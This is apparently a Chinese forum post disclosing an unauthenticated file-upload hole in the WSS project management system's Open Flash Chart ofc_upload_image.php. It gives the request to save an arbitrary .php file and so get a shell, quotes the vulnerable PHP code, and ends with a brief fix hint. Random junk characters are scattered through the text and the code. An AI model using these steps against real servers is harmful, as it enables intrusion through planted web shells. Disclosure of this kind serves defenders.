WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

' ?* ?" y0 @! E  a利用：
2 B& Y; J! t6 \; e/ m/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

$ }- U* S; A! \6 x
: w6 |' B, W5 n2 |0 u) x最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
" j. z/ W! R! Y# |" m% ~. R
<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*
3 f% k$ }. p. V/ X# C
+ J) N! T! q% hprint_r( $_GET );
print_r( $_POST );
' c; N! N5 R* X  M0 c' nprint_r( $_FILES );
& B/ U& \: |" I( G
& I$ x1 g0 r6 i1 d1 {* Y$ u  iprint_r( $GLOBALS );
7 W) }: O' w7 v! ]print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
+ ]  b: R4 r/ y7 j1 U
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
$ g. |; I1 S5 M/ h
/ n, S5 I+ m7 p0 t$ a9 ?if (!file_exists($default_path)) mkdir($default_path, 0777, true);

* X( [$ \/ X) [7 E) |- V// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
: w# l, W: n6 T/ G: t// print_r( $_POST );
" E" }  e/ S" `// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
1 u' {" K! v3 f8 o$ h5 ~
% G* M) P$ y5 j  ^1 M//
// POST data is usually string data, but we are passing a RAW .png
6 ?" v7 ?6 n1 P/ F; @" \0 Q// so PHP is a bit confused and $_POST is empty. But it has saved
9 k# u3 P) N' U0 r$ g# H( `// the raw bits into $HTTP_RAW_POST_DATA
, D3 d0 s- h, u* X- ]4 h//
, A% s9 u  W0 E" L
! u: G5 b% c7 l$jfh = fopen($destination, 'w') or die("can't open file");
* @/ w/ W* S) n/ M1 ?( Efwrite($jfh, $HTTP_RAW_POST_DATA);
9 L) m# S: b0 W8 m! n) S) \fclose($jfh);

# V' X0 v, e6 s- b1 B//
# Q" R: [' H9 |- Z& {3 q( V// LOOK:
//
exit();
//
: K3 B4 Q9 a, f" c+ v// PHP5:
+ B& _+ p4 ^( k+ |/ B8 K//
* C- m  [2 A) v0 y  ?

// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
8 D7 D# J! a2 T6 A8 l2 }
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
: s, j; \# ~: a9 F9 [% ^
$ O' L8 u+ {& O1 Z// move the image into the specified directory //
' t5 n$ h9 N4 L% Z  oif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
$ U: ~) U" h; f' P7 a: Y8 O6 v} else {
3 z. C2 c  N: ~1 e: G9 O& N) N    echo "FILE UPLOAD FAILED";
$ O+ X* m! z+ N  U" [}


7 D( S+ f6 q( g2 t/ i1 _?>
- @( `0 ~1 }( X. p5 U# _- U
" x1 W, g3 N, ]6 J0 _
- l+ R+ I/ i7 u6 a; L5 Y

# X" K3 P2 D/ K8 |# Q

修复方案：
# {0 w- R7 {, I5 y5 f, X% [这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
1 F1 Z- Z) B5 W; Y! u4 z4 O, |

" G/ j! v' H, Z' v' z6 \
& k6 y* a, ^: y. l